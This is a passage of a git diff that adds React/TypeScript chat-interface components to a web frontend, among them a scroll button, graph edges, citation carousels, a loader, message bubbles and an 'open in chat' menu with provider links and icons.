+            {resolvedDescription && (
+              <p className='text-muted-foreground text-sm'>
+                {resolvedDescription}
+              </p>
+            )}
+          </div>
+        </>
+      )}
+    </div>
+  )
+}
+
+export type ConversationScrollButtonProps = ComponentProps<typeof Button>
+
+export const ConversationScrollButton = ({
+  className,
+  ...props
+}: ConversationScrollButtonProps) => {
+  const { isAtBottom, scrollToBottom } = useStickToBottomContext()
+
+  const handleScrollToBottom = useCallback(() => {
+    scrollToBottom()
+  }, [scrollToBottom])
+
+  return (
+    !isAtBottom && (
+      <Button
+        className={cn(
+          'absolute bottom-4 left-[50%] translate-x-[-50%] rounded-full',
+          className
+        )}
+        onClick={handleScrollToBottom}
+        size='icon'
+        type='button'
+        variant='outline'
+        aria-label='Scroll to bottom'
+        {...props}
+      >
+        <ArrowDownIcon className='size-4' aria-hidden='true' />
+      </Button>
+    )
+  )
+}
diff --git a/new-api/web/default/src/components/ai-elements/edge.tsx b/new-api/web/default/src/components/ai-elements/edge.tsx
new file mode 100644
index 0000000..dda859d
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/edge.tsx
@@ -0,0 +1,141 @@
+/* eslint-disable react-refresh/only-export-components */
+import {
+  BaseEdge,
+  type EdgeProps,
+  getBezierPath,
+  getSimpleBezierPath,
+  type InternalNode,
+  type Node,
+  Position,
+  useInternalNode,
+} from '@xyflow/react'
+
+const Temporary = ({
+  id,
+  sourceX,
+  sourceY,
+  targetX,
+  targetY,
+  sourcePosition,
+  targetPosition,
+}: EdgeProps) => {
+  const [edgePath] = getSimpleBezierPath({
+    sourceX,
+    sourceY,
+    sourcePosition,
+    targetX,
+    targetY,
+    targetPosition,
+  })
+
+  return (
+    <BaseEdge
+      className='stroke-ring stroke-1'
+      id={id}
+      path={edgePath}
+      style={{
+        strokeDasharray: '5, 5',
+      }}
+    />
+  )
+}
+
+const getHandleCoordsByPosition = (
+  node: InternalNode<Node>,
+  handlePosition: Position
+) => {
+  // Choose the handle type based on position - Left is for target, Right is for source
+  const handleType = handlePosition === Position.Left ? 'target' : 'source'
+
+  const handle = node.internals.handleBounds?.[handleType]?.find(
+    (h) => h.position === handlePosition
+  )
+
+  if (!handle) {
+    return [0, 0] as const
+  }
+
+  let offsetX = handle.width / 2
+  let offsetY = handle.height / 2
+
+  // this is a tiny detail to make the markerEnd of an edge visible.
+  // The handle position that gets calculated has the origin top-left, so depending which side we are using, we add a little offset
+  // when the handlePosition is Position.Right for example, we need to add an offset as big as the handle itself in order to get the correct position
+  switch (handlePosition) {
+    case Position.Left:
+      offsetX = 0
+      break
+    case Position.Right:
+      offsetX = handle.width
+      break
+    case Position.Top:
+      offsetY = 0
+      break
+    case Position.Bottom:
+      offsetY = handle.height
+      break
+    default:
+      throw new Error(`Invalid handle position: ${handlePosition}`)
+  }
+
+  const x = node.internals.positionAbsolute.x + handle.x + offsetX
+  const y = node.internals.positionAbsolute.y + handle.y + offsetY
+
+  return [x, y] as const
+}
+
+const getEdgeParams = (
+  source: InternalNode<Node>,
+  target: InternalNode<Node>
+) => {
+  const sourcePos = Position.Right
+  const [sx, sy] = getHandleCoordsByPosition(source, sourcePos)
+  const targetPos = Position.Left
+  const [tx, ty] = getHandleCoordsByPosition(target, targetPos)
+
+  return {
+    sx,
+    sy,
+    tx,
+    ty,
+    sourcePos,
+    targetPos,
+  }
+}
+
+const Animated = ({ id, source, target, markerEnd, style }: EdgeProps) => {
+  const sourceNode = useInternalNode(source)
+  const targetNode = useInternalNode(target)
+
+  if (!(sourceNode && targetNode)) {
+    return null
+  }
+
+  const { sx, sy, tx, ty, sourcePos, targetPos } = getEdgeParams(
+    sourceNode,
+    targetNode
+  )
+
+  const [edgePath] = getBezierPath({
+    sourceX: sx,
+    sourceY: sy,
+    sourcePosition: sourcePos,
+    targetX: tx,
+    targetY: ty,
+    targetPosition: targetPos,
+  })
+
+  return (
+    <>
+      <BaseEdge id={id} markerEnd={markerEnd} path={edgePath} style={style} />
+      <circle fill='var(--primary)' r='4'>
+        <animateMotion dur='2s' path={edgePath} repeatCount='indefinite' />
+      </circle>
+    </>
+  )
+}
+
+export const Edge = {
+  Temporary,
+  Animated,
+}
diff --git a/new-api/web/default/src/components/ai-elements/image.tsx b/new-api/web/default/src/components/ai-elements/image.tsx
new file mode 100644
index 0000000..ab39c35
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/image.tsx
@@ -0,0 +1,24 @@
+import type { Experimental_GeneratedImage } from 'ai'
+import { cn } from '@/lib/utils'
+
+export type ImageProps = Experimental_GeneratedImage & {
+  className?: string
+  alt?: string
+}
+
+export const Image = ({
+  base64,
+  uint8Array,
+  mediaType,
+  ...props
+}: ImageProps) => (
+  <img
+    {...props}
+    alt={props.alt}
+    className={cn(
+      'h-auto max-w-full overflow-hidden rounded-md',
+      props.className
+    )}
+    src={`data:${mediaType};base64,${base64}`}
+  />
+)
diff --git a/new-api/web/default/src/components/ai-elements/inline-citation.tsx b/new-api/web/default/src/components/ai-elements/inline-citation.tsx
new file mode 100644
index 0000000..5ef261b
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/inline-citation.tsx
@@ -0,0 +1,297 @@
+'use client'
+
+import {
+  type ComponentProps,
+  createContext,
+  useCallback,
+  useContext,
+  useEffect,
+  useState,
+} from 'react'
+import { ArrowLeftIcon, ArrowRightIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import {
+  Carousel,
+  type CarouselApi,
+  CarouselContent,
+  CarouselItem,
+} from '@/components/ui/carousel'
+import {
+  HoverCard,
+  HoverCardContent,
+  HoverCardTrigger,
+} from '@/components/ui/hover-card'
+
+export type InlineCitationProps = ComponentProps<'span'>
+
+export const InlineCitation = ({
+  className,
+  ...props
+}: InlineCitationProps) => (
+  <span
+    className={cn('group inline items-center gap-1', className)}
+    {...props}
+  />
+)
+
+export type InlineCitationTextProps = ComponentProps<'span'>
+
+export const InlineCitationText = ({
+  className,
+  ...props
+}: InlineCitationTextProps) => (
+  <span
+    className={cn('group-hover:bg-accent transition-colors', className)}
+    {...props}
+  />
+)
+
+export type InlineCitationCardProps = ComponentProps<typeof HoverCard>
+
+export const InlineCitationCard = (props: InlineCitationCardProps) => (
+  <HoverCard closeDelay={0} openDelay={0} {...props} />
+)
+
+export type InlineCitationCardTriggerProps = ComponentProps<typeof Badge> & {
+  sources: string[]
+}
+
+export const InlineCitationCardTrigger = ({
+  sources,
+  className,
+  ...props
+}: InlineCitationCardTriggerProps) => (
+  <HoverCardTrigger asChild>
+    <Badge
+      className={cn('ml-1 rounded-full', className)}
+      variant='secondary'
+      {...props}
+    >
+      {sources[0] ? (
+        <>
+          {new URL(sources[0]).hostname}{' '}
+          {sources.length > 1 && `+${sources.length - 1}`}
+        </>
+      ) : (
+        'unknown'
+      )}
+    </Badge>
+  </HoverCardTrigger>
+)
+
+export type InlineCitationCardBodyProps = ComponentProps<'div'>
+
+export const InlineCitationCardBody = ({
+  className,
+  ...props
+}: InlineCitationCardBodyProps) => (
+  <HoverCardContent className={cn('relative w-80 p-0', className)} {...props} />
+)
+
+const CarouselApiContext = createContext<CarouselApi | undefined>(undefined)
+
+const useCarouselApi = () => {
+  const context = useContext(CarouselApiContext)
+  return context
+}
+
+export type InlineCitationCarouselProps = ComponentProps<typeof Carousel>
+
+export const InlineCitationCarousel = ({
+  className,
+  children,
+  ...props
+}: InlineCitationCarouselProps) => {
+  const [api, setApi] = useState<CarouselApi>()
+
+  return (
+    <CarouselApiContext.Provider value={api}>
+      <Carousel className={cn('w-full', className)} setApi={setApi} {...props}>
+        {children}
+      </Carousel>
+    </CarouselApiContext.Provider>
+  )
+}
+
+export type InlineCitationCarouselContentProps = ComponentProps<'div'>
+
+export const InlineCitationCarouselContent = (
+  props: InlineCitationCarouselContentProps
+) => <CarouselContent {...props} />
+
+export type InlineCitationCarouselItemProps = ComponentProps<'div'>
+
+export const InlineCitationCarouselItem = ({
+  className,
+  ...props
+}: InlineCitationCarouselItemProps) => (
+  <CarouselItem
+    className={cn('w-full space-y-2 p-4 pl-8', className)}
+    {...props}
+  />
+)
+
+export type InlineCitationCarouselHeaderProps = ComponentProps<'div'>
+
+export const InlineCitationCarouselHeader = ({
+  className,
+  ...props
+}: InlineCitationCarouselHeaderProps) => (
+  <div
+    className={cn(
+      'bg-secondary flex items-center justify-between gap-2 rounded-t-md p-2',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type InlineCitationCarouselIndexProps = ComponentProps<'div'>
+
+export const InlineCitationCarouselIndex = ({
+  children,
+  className,
+  ...props
+}: InlineCitationCarouselIndexProps) => {
+  const api = useCarouselApi()
+  const [current, setCurrent] = useState(0)
+  const [count, setCount] = useState(0)
+
+  useEffect(() => {
+    if (!api) {
+      return
+    }
+
+    // eslint-disable-next-line react-hooks/set-state-in-effect
+    setCount(api.scrollSnapList().length)
+
+    setCurrent(api.selectedScrollSnap() + 1)
+
+    api.on('select', () => {
+      setCurrent(api.selectedScrollSnap() + 1)
+    })
+  }, [api])
+
+  return (
+    <div
+      className={cn(
+        'text-muted-foreground flex flex-1 items-center justify-end px-3 py-1 text-xs',
+        className
+      )}
+      {...props}
+    >
+      {children ?? `${current}/${count}`}
+    </div>
+  )
+}
+
+export type InlineCitationCarouselPrevProps = ComponentProps<'button'>
+
+export const InlineCitationCarouselPrev = ({
+  className,
+  ...props
+}: InlineCitationCarouselPrevProps) => {
+  const { t } = useTranslation()
+  const api = useCarouselApi()
+
+  const handleClick = useCallback(() => {
+    if (api) {
+      api.scrollPrev()
+    }
+  }, [api])
+
+  return (
+    <Button
+      variant='ghost'
+      size='icon-sm'
+      aria-label={t('Previous')}
+      className={cn('shrink-0', className)}
+      onClick={handleClick}
+      type='button'
+      {...props}
+    >
+      <ArrowLeftIcon className='text-muted-foreground size-4' />
+    </Button>
+  )
+}
+
+export type InlineCitationCarouselNextProps = ComponentProps<'button'>
+
+export const InlineCitationCarouselNext = ({
+  className,
+  ...props
+}: InlineCitationCarouselNextProps) => {
+  const { t } = useTranslation()
+  const api = useCarouselApi()
+
+  const handleClick = useCallback(() => {
+    if (api) {
+      api.scrollNext()
+    }
+  }, [api])
+
+  return (
+    <Button
+      variant='ghost'
+      size='icon-sm'
+      aria-label={t('Next')}
+      className={cn('shrink-0', className)}
+      onClick={handleClick}
+      type='button'
+      {...props}
+    >
+      <ArrowRightIcon className='text-muted-foreground size-4' />
+    </Button>
+  )
+}
+
+export type InlineCitationSourceProps = ComponentProps<'div'> & {
+  title?: string
+  url?: string
+  description?: string
+}
+
+export const InlineCitationSource = ({
+  title,
+  url,
+  description,
+  className,
+  children,
+  ...props
+}: InlineCitationSourceProps) => (
+  <div className={cn('space-y-1', className)} {...props}>
+    {title && (
+      <h4 className='truncate text-sm leading-tight font-medium'>{title}</h4>
+    )}
+    {url && (
+      <p className='text-muted-foreground truncate text-xs break-all'>{url}</p>
+    )}
+    {description && (
+      <p className='text-muted-foreground line-clamp-3 text-sm leading-relaxed'>
+        {description}
+      </p>
+    )}
+    {children}
+  </div>
+)
+
+export type InlineCitationQuoteProps = ComponentProps<'blockquote'>
+
+export const InlineCitationQuote = ({
+  children,
+  className,
+  ...props
+}: InlineCitationQuoteProps) => (
+  <blockquote
+    className={cn(
+      'border-muted text-muted-foreground border-l-2 pl-3 text-sm italic',
+      className
+    )}
+    {...props}
+  >
+    {children}
+  </blockquote>
+)
diff --git a/new-api/web/default/src/components/ai-elements/loader.tsx b/new-api/web/default/src/components/ai-elements/loader.tsx
new file mode 100644
index 0000000..a8b5043
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/loader.tsx
@@ -0,0 +1,100 @@
+import type { HTMLAttributes } from 'react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+
+type LoaderIconProps = {
+  size?: number
+}
+
+const LoaderIcon = ({ size = 16 }: LoaderIconProps) => {
+  const { t } = useTranslation()
+  return (
+    <svg
+      height={size}
+      strokeLinejoin='round'
+      style={{ color: 'currentcolor' }}
+      viewBox='0 0 16 16'
+      width={size}
+    >
+      <title>{t('Loader')}</title>
+      <g clipPath='url(#clip0_2393_1490)'>
+        <path d='M8 0V4' stroke='currentColor' strokeWidth='1.5' />
+        <path
+          d='M8 16V12'
+          opacity='0.5'
+          stroke='currentColor'
+          strokeWidth='1.5'
+        />
+        <path
+          d='M3.29773 1.52783L5.64887 4.7639'
+          opacity='0.9'
+          stroke='currentColor'
+          strokeWidth='1.5'
+        />
+        <path
+          d='M12.7023 1.52783L10.3511 4.7639'
+          opacity='0.1'
+          stroke='currentColor'
+          strokeWidth='1.5'
+        />
+        <path
+          d='M12.7023 14.472L10.3511 11.236'
+          opacity='0.4'
+          stroke='currentColor'
+          strokeWidth='1.5'
+        />
+        <path
+          d='M3.29773 14.472L5.64887 11.236'
+          opacity='0.6'
+          stroke='currentColor'
+          strokeWidth='1.5'
+        />
+        <path
+          d='M15.6085 5.52783L11.8043 6.7639'
+          opacity='0.2'
+          stroke='currentColor'
+          strokeWidth='1.5'
+        />
+        <path
+          d='M0.391602 10.472L4.19583 9.23598'
+          opacity='0.7'
+          stroke='currentColor'
+          strokeWidth='1.5'
+        />
+        <path
+          d='M15.6085 10.4722L11.8043 9.2361'
+          opacity='0.3'
+          stroke='currentColor'
+          strokeWidth='1.5'
+        />
+        <path
+          d='M0.391602 5.52783L4.19583 6.7639'
+          opacity='0.8'
+          stroke='currentColor'
+          strokeWidth='1.5'
+        />
+      </g>
+      <defs>
+        <clipPath id='clip0_2393_1490'>
+          <rect fill='white' height='16' width='16' />
+        </clipPath>
+      </defs>
+    </svg>
+  )
+}
+
+export type LoaderProps = HTMLAttributes<HTMLDivElement> & {
+  size?: number
+}
+
+export const Loader = ({ className, size = 16, ...props }: LoaderProps) => (
+  <div
+    className={cn(
+      'inline-flex animate-spin items-center justify-center',
+      className
+    )}
+    {...props}
+  >
+    <LoaderIcon size={size} />
+  </div>
+)
diff --git a/new-api/web/default/src/components/ai-elements/message.tsx b/new-api/web/default/src/components/ai-elements/message.tsx
new file mode 100644
index 0000000..889fea3
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/message.tsx
@@ -0,0 +1,76 @@
+import type { ComponentProps, HTMLAttributes } from 'react'
+import type { UIMessage } from 'ai'
+import { cva, type VariantProps } from 'class-variance-authority'
+import { cn } from '@/lib/utils'
+import { Avatar, AvatarFallback, AvatarImage } from '@/components/ui/avatar'
+
+export type MessageProps = HTMLAttributes<HTMLDivElement> & {
+  from: UIMessage['role']
+}
+
+export const Message = ({ className, from, ...props }: MessageProps) => (
+  <div
+    className={cn(
+      'group flex w-full items-end justify-end gap-2',
+      from === 'user' ? 'is-user' : 'is-assistant flex-row-reverse justify-end',
+      className
+    )}
+    {...props}
+  />
+)
+
+const messageContentVariants = cva(
+  'is-user:dark flex flex-col gap-2 overflow-hidden rounded-lg text-sm',
+  {
+    variants: {
+      variant: {
+        contained: [
+          'max-w-[100%] px-3 py-1',
+          'group-[.is-user]:bg-primary group-[.is-user]:text-primary-foreground',
+          'group-[.is-assistant]:bg-secondary group-[.is-assistant]:text-foreground',
+        ],
+        flat: [
+          'group-[.is-user]:max-w-[80%] group-[.is-user]:bg-secondary group-[.is-user]:px-3 group-[.is-user]:py-1 group-[.is-user]:text-foreground',
+          'group-[.is-assistant]:text-foreground',
+        ],
+      },
+    },
+    defaultVariants: {
+      variant: 'contained',
+    },
+  }
+)
+
+export type MessageContentProps = HTMLAttributes<HTMLDivElement> &
+  VariantProps<typeof messageContentVariants>
+
+export const MessageContent = ({
+  children,
+  className,
+  variant,
+  ...props
+}: MessageContentProps) => (
+  <div
+    className={cn(messageContentVariants({ variant, className }))}
+    {...props}
+  >
+    {children}
+  </div>
+)
+
+export type MessageAvatarProps = ComponentProps<typeof Avatar> & {
+  src: string
+  name?: string
+}
+
+export const MessageAvatar = ({
+  src,
+  name,
+  className,
+  ...props
+}: MessageAvatarProps) => (
+  <Avatar className={cn('ring-border size-8 ring-1', className)} {...props}>
+    <AvatarImage alt='' className='mt-0 mb-0' src={src} />
+    <AvatarFallback>{name?.slice(0, 2) || 'ME'}</AvatarFallback>
+  </Avatar>
+)
diff --git a/new-api/web/default/src/components/ai-elements/node.tsx b/new-api/web/default/src/components/ai-elements/node.tsx
new file mode 100644
index 0000000..f1224c5
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/node.tsx
@@ -0,0 +1,71 @@
+import type { ComponentProps } from 'react'
+import { Handle, Position } from '@xyflow/react'
+import { cn } from '@/lib/utils'
+import {
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardFooter,
+  CardHeader,
+  CardTitle,
+} from '@/components/ui/card'
+
+export type NodeProps = ComponentProps<typeof Card> & {
+  handles: {
+    target: boolean
+    source: boolean
+  }
+}
+
+export const Node = ({ handles, className, ...props }: NodeProps) => (
+  <Card
+    className={cn(
+      'node-container relative size-full h-auto w-sm gap-0 rounded-md p-0',
+      className
+    )}
+    {...props}
+  >
+    {handles.target && <Handle position={Position.Left} type='target' />}
+    {handles.source && <Handle position={Position.Right} type='source' />}
+    {props.children}
+  </Card>
+)
+
+export type NodeHeaderProps = ComponentProps<typeof CardHeader>
+
+export const NodeHeader = ({ className, ...props }: NodeHeaderProps) => (
+  <CardHeader
+    className={cn('bg-secondary gap-0.5 rounded-t-md border-b p-3!', className)}
+    {...props}
+  />
+)
+
+export type NodeTitleProps = ComponentProps<typeof CardTitle>
+
+export const NodeTitle = (props: NodeTitleProps) => <CardTitle {...props} />
+
+export type NodeDescriptionProps = ComponentProps<typeof CardDescription>
+
+export const NodeDescription = (props: NodeDescriptionProps) => (
+  <CardDescription {...props} />
+)
+
+export type NodeActionProps = ComponentProps<typeof CardAction>
+
+export const NodeAction = (props: NodeActionProps) => <CardAction {...props} />
+
+export type NodeContentProps = ComponentProps<typeof CardContent>
+
+export const NodeContent = ({ className, ...props }: NodeContentProps) => (
+  <CardContent className={cn('p-3', className)} {...props} />
+)
+
+export type NodeFooterProps = ComponentProps<typeof CardFooter>
+
+export const NodeFooter = ({ className, ...props }: NodeFooterProps) => (
+  <CardFooter
+    className={cn('bg-secondary rounded-b-md border-t p-3!', className)}
+    {...props}
+  />
+)
diff --git a/new-api/web/default/src/components/ai-elements/open-in-chat.tsx b/new-api/web/default/src/components/ai-elements/open-in-chat.tsx
new file mode 100644
index 0000000..47c57c6
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/open-in-chat.tsx
@@ -0,0 +1,367 @@
+import { type ComponentProps, createContext, useContext } from 'react'
+import {
+  ChevronDownIcon,
+  ExternalLinkIcon,
+  MessageCircleIcon,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+
+const providers = {
+  github: {
+    title: 'Open in GitHub',
+    createUrl: (url: string) => url,
+    icon: (
+      <svg fill='currentColor' role='img' viewBox='0 0 24 24'>
+        <title>GitHub</title>
+        <path d='M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12' />
+      </svg>
+    ),
+  },
+  scira: {
+    title: 'Open in Scira',
+    createUrl: (q: string) =>
+      `https://scira.ai/?${new URLSearchParams({
+        q,
+      })}`,
+    icon: (
+      <svg
+        fill='none'
+        height='934'
+        viewBox='0 0 910 934'
+        width='910'
+        xmlns='http://www.w3.org/2000/svg'
+      >
+        <title>Scira AI</title>
+        <path
+          d='M647.664 197.775C569.13 189.049 525.5 145.419 516.774 66.8849C508.048 145.419 464.418 189.049 385.884 197.775C464.418 206.501 508.048 250.131 516.774 328.665C525.5 250.131 569.13 206.501 647.664 197.775Z'
+          fill='currentColor'
+          stroke='currentColor'
+          strokeLinejoin='round'
+          strokeWidth='8'
+        />
+        <path
+          d='M516.774 304.217C510.299 275.491 498.208 252.087 480.335 234.214C462.462 216.341 439.058 204.251 410.333 197.775C439.059 191.3 462.462 179.209 480.335 161.336C498.208 143.463 510.299 120.06 516.774 91.334C523.25 120.059 535.34 143.463 553.213 161.336C571.086 179.209 594.49 191.3 623.216 197.775C594.49 204.251 571.086 216.341 553.213 234.214C535.34 252.087 523.25 275.491 516.774 304.217Z'
+          fill='currentColor'
+          stroke='currentColor'
+          strokeLinejoin='round'
+          strokeWidth='8'
+        />
+        <path
+          d='M857.5 508.116C763.259 497.644 710.903 445.288 700.432 351.047C689.961 445.288 637.605 497.644 543.364 508.116C637.605 518.587 689.961 570.943 700.432 665.184C710.903 570.943 763.259 518.587 857.5 508.116Z'
+          stroke='currentColor'
+          strokeLinejoin='round'
+          strokeWidth='20'
+        />
+        <path
+          d='M700.432 615.957C691.848 589.05 678.575 566.357 660.383 548.165C642.191 529.973 619.499 516.7 592.593 508.116C619.499 499.533 642.191 486.258 660.383 468.066C678.575 449.874 691.848 427.181 700.432 400.274C709.015 427.181 722.289 449.874 740.481 468.066C758.673 486.258 781.365 499.533 808.271 508.116C781.365 516.7 758.673 529.973 740.481 548.165C722.289 566.357 709.015 589.05 700.432 615.957Z'
+          stroke='currentColor'
+          strokeLinejoin='round'
+          strokeWidth='20'
+        />
+        <path
+          d='M889.949 121.237C831.049 114.692 798.326 81.9698 791.782 23.0692C785.237 81.9698 752.515 114.692 693.614 121.237C752.515 127.781 785.237 160.504 791.782 219.404C798.326 160.504 831.049 127.781 889.949 121.237Z'
+          fill='currentColor'
+          stroke='currentColor'
+          strokeLinejoin='round'
+          strokeWidth='8'
+        />
+        <path
+          d='M791.782 196.795C786.697 176.937 777.869 160.567 765.16 147.858C752.452 135.15 736.082 126.322 716.226 121.237C736.082 116.152 752.452 107.324 765.16 94.6152C777.869 81.9065 786.697 65.5368 791.782 45.6797C796.867 65.5367 805.695 81.9066 818.403 94.6152C831.112 107.324 847.481 116.152 867.338 121.237C847.481 126.322 831.112 135.15 818.403 147.858C805.694 160.567 796.867 176.937 791.782 196.795Z'
+          fill='currentColor'
+          stroke='currentColor'
+          strokeLinejoin='round'
+          strokeWidth='8'
+        />
+        <path
+          d='M760.632 764.337C720.719 814.616 669.835 855.1 611.872 882.692C553.91 910.285 490.404 924.255 426.213 923.533C362.022 922.812 298.846 907.419 241.518 878.531C184.19 849.643 134.228 808.026 95.4548 756.863C56.6815 705.7 30.1238 646.346 17.8129 583.343C5.50207 520.339 7.76433 455.354 24.4266 393.359C41.089 331.364 71.7099 274.001 113.947 225.658C156.184 177.315 208.919 139.273 268.117 114.442'
+          stroke='currentColor'
+          strokeLinecap='round'
+          strokeLinejoin='round'
+          strokeWidth='30'
+        />
+      </svg>
+    ),
+  },
+  chatgpt: {
+    title: 'Open in ChatGPT',
+    createUrl: (prompt: string) =>
+      `https://chatgpt.com/?${new URLSearchParams({
+        hints: 'search',
+        prompt,
+      })}`,
+    icon: (
+      <svg
+        fill='currentColor'
+        role='img'
+        viewBox='0 0 24 24'
+        xmlns='http://www.w3.org/2000/svg'
+      >
+        <title>OpenAI</title>
+        <path d='M22.2819 9.8211a5.9847 5.9847 0 0 0-.5157-4.9108 6.0462 6.0462 0 0 0-6.5098-2.9A6.0651 6.0651 0 0 0 4.9807 4.1818a5.9847 5.9847 0 0 0-3.9977 2.9 6.0462 6.0462 0 0 0 .7427 7.0966 5.98 5.98 0 0 0 .511 4.9107 6.051 6.051 0 0 0 6.5146 2.9001A5.9847 5.9847 0 0 0 13.2599 24a6.0557 6.0557 0 0 0 5.7718-4.2058 5.9894 5.9894 0 0 0 3.9977-2.9001 6.0557 6.0557 0 0 0-.7475-7.0729zm-9.022 12.6081a4.4755 4.4755 0 0 1-2.8764-1.0408l.1419-.0804 4.7783-2.7582a.7948.7948 0 0 0 .3927-.6813v-6.7369l2.02 1.1686a.071.071 0 0 1 .038.052v5.5826a4.504 4.504 0 0 1-4.4945 4.4944zm-9.6607-4.1254a4.4708 4.4708 0 0 1-.5346-3.0137l.142.0852 4.783 2.7582a.7712.7712 0 0 0 .7806 0l5.8428-3.3685v2.3324a.0804.0804 0 0 1-.0332.0615L9.74 19.9502a4.4992 4.4992 0 0 1-6.1408-1.6464zM2.3408 7.8956a4.485 4.485 0 0 1 2.3655-1.9728V11.6a.7664.7664 0 0 0 .3879.6765l5.8144 3.3543-2.0201 1.1685a.0757.0757 0 0 1-.071 0l-4.8303-2.7865A4.504 4.504 0 0 1 2.3408 7.872zm16.5963 3.8558L13.1038 8.364 15.1192 7.2a.0757.0757 0 0 1 .071 0l4.8303 2.7913a4.4944 4.4944 0 0 1-.6765 8.1042v-5.6772a.79.79 0 0 0-.407-.667zm2.0107-3.0231l-.142-.0852-4.7735-2.7818a.7759.7759 0 0 0-.7854 0L9.409 9.2297V6.8974a.0662.0662 0 0 1 .0284-.0615l4.8303-2.7866a4.4992 4.4992 0 0 1 6.6802 4.66zM8.3065 12.863l-2.02-1.1638a.0804.0804 0 0 1-.038-.0567V6.0742a4.4992 4.4992 0 0 1 7.3757-3.4537l-.142.0805L8.704 5.459a.7948.7948 0 0 0-.3927.6813zm1.0976-2.3654l2.602-1.4998 2.6069 1.4998v2.9994l-2.5974 1.4997-2.6067-1.4997Z' />
+      </svg>
+    ),
+  },
+  claude: {
+    title: 'Open in Claude',
+    createUrl: (q: string) =>
+      `https://claude.ai/new?${new URLSearchParams({
+        q,
+      })}`,
+    icon: (
+      <svg
+        fill='currentColor'
+        role='img'
+        viewBox='0 0 12 12'
+        xmlns='http://www.w3.org/2000/svg'
+      >
+        <title>Claude</title>
+        <path
+          clipRule='evenodd'
+          d='M2.3545 7.9775L4.7145 6.654L4.7545 6.539L4.7145 6.475H4.6L4.205 6.451L2.856 6.4145L1.6865 6.366L0.5535 6.305L0.268 6.2445L0 5.892L0.0275 5.716L0.2675 5.5555L0.6105 5.5855L1.3705 5.637L2.5095 5.716L3.3355 5.7645L4.56 5.892H4.7545L4.782 5.8135L4.715 5.7645L4.6635 5.716L3.4845 4.918L2.2085 4.074L1.5405 3.588L1.1785 3.3425L0.9965 3.1115L0.9175 2.6075L1.2455 2.2465L1.686 2.2765L1.7985 2.307L2.245 2.65L3.199 3.388L4.4445 4.3045L4.627 4.4565L4.6995 4.405L4.709 4.3685L4.627 4.2315L3.9495 3.0085L3.2265 1.7635L2.9045 1.2475L2.8195 0.938C2.78711 0.819128 2.76965 0.696687 2.7675 0.5735L3.1415 0.067L3.348 0L3.846 0.067L4.056 0.249L4.366 0.956L4.867 2.0705L5.6445 3.5855L5.8725 4.0345L5.994 4.4505L6.0395 4.578H6.1185V4.505L6.1825 3.652L6.301 2.6045L6.416 1.257L6.456 0.877L6.644 0.422L7.0175 0.176L7.3095 0.316L7.5495 0.6585L7.516 0.8805L7.373 1.806L7.0935 3.2575L6.9115 4.2285H7.0175L7.139 4.1075L7.6315 3.4545L8.4575 2.4225L8.8225 2.0125L9.2475 1.5605L9.521 1.345H10.0375L10.4175 1.9095L10.2475 2.4925L9.7155 3.166L9.275 3.737L8.643 4.587L8.248 5.267L8.2845 5.322L8.3785 5.312L9.8065 5.009L10.578 4.869L11.4985 4.7115L11.915 4.9055L11.9605 5.103L11.7965 5.5065L10.812 5.7495L9.6575 5.9805L7.938 6.387L7.917 6.402L7.9415 6.4325L8.716 6.5055L9.047 6.5235H9.858L11.368 6.636L11.763 6.897L12 7.216L11.9605 7.4585L11.353 7.7685L10.533 7.574L8.6185 7.119L7.9625 6.9545H7.8715V7.0095L8.418 7.5435L9.421 8.4485L10.6755 9.6135L10.739 9.9025L10.578 10.13L10.408 10.1055L9.3055 9.277L8.88 8.9035L7.917 8.0935H7.853V8.1785L8.075 8.503L9.2475 10.2635L9.3085 10.8035L9.2235 10.98L8.9195 11.0865L8.5855 11.0255L7.8985 10.063L7.191 8.9795L6.6195 8.008L6.5495 8.048L6.2125 11.675L6.0545 11.86L5.69 12L5.3865 11.7695L5.2255 11.396L5.3865 10.658L5.581 9.696L5.7385 8.931L5.8815 7.981L5.9665 7.665L5.9605 7.644L5.8905 7.653L5.1735 8.6365L4.0835 10.109L3.2205 11.0315L3.0135 11.1135L2.655 10.9285L2.6885 10.5975L2.889 10.303L4.083 8.785L4.803 7.844L5.268 7.301L5.265 7.222H5.2375L2.066 9.28L1.501 9.353L1.2575 9.125L1.288 8.752L1.4035 8.6305L2.3575 7.9745L2.3545 7.9775Z'
+          fillRule='evenodd'
+        />
+      </svg>
+    ),
+  },
+  t3: {
+    title: 'Open in T3 Chat',
+    createUrl: (q: string) =>
+      `https://t3.chat/new?${new URLSearchParams({
+        q,
+      })}`,
+    icon: <MessageCircleIcon />,
+  },
+  v0: {
+    title: 'Open in v0',
